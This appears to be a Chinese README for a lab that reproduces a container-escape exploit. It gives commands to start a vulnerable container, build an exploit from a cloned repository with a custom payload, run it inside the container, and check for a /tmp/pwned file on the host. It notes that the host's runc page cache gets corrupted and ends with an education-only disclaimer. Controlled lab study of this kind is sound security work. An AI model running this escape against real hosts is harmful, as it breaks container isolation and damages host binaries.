https://github.com/user-attachments/assets/2cb0cb67-789a-4461-a0b8-1fe878d9426e
本仓库提供了 docker-compose.yml 用于搭建一个存在漏洞的容器。你也可以使用其他存在漏洞的容器或自行搭建,但请记得相应修改漏洞利用代码。
# 在宿主机上
rm -r copy-fail-c /tmp/pwned
docker-compose up -d
git clone https://github.com/tgies/copy-fail-c.git
cp payload.c copy-fail-c/
cd copy-fail-c && make && cp exploit ../ && cd ..
docker cp exp.sh copyfail:/tmp/
docker cp exploit copyfail:/tmp/
docker exec -it copyfail /bin/sh
# 在 copyfail 容器内
cd /tmp
chmod +x exp.sh exploit
./exp.sh
# 等待几分钟让健康检查运行
# 然后检查宿主机上是否生成了 /tmp/pwned
# 在宿主机上
ls /tmp/pwned
一旦利用成功,宿主机上 runc 二进制的页缓存(pagecache)会被破坏。你可以通过在宿主机上运行 echo 3 | sudo tee /proc/sys/vm/drop_caches 来恢复它。
本仓库仅供教育目的使用。不应将其用于任何恶意活动。作者不对因滥用此代码而造成的任何损害负责。请始终在受控且合法的环境中使用它。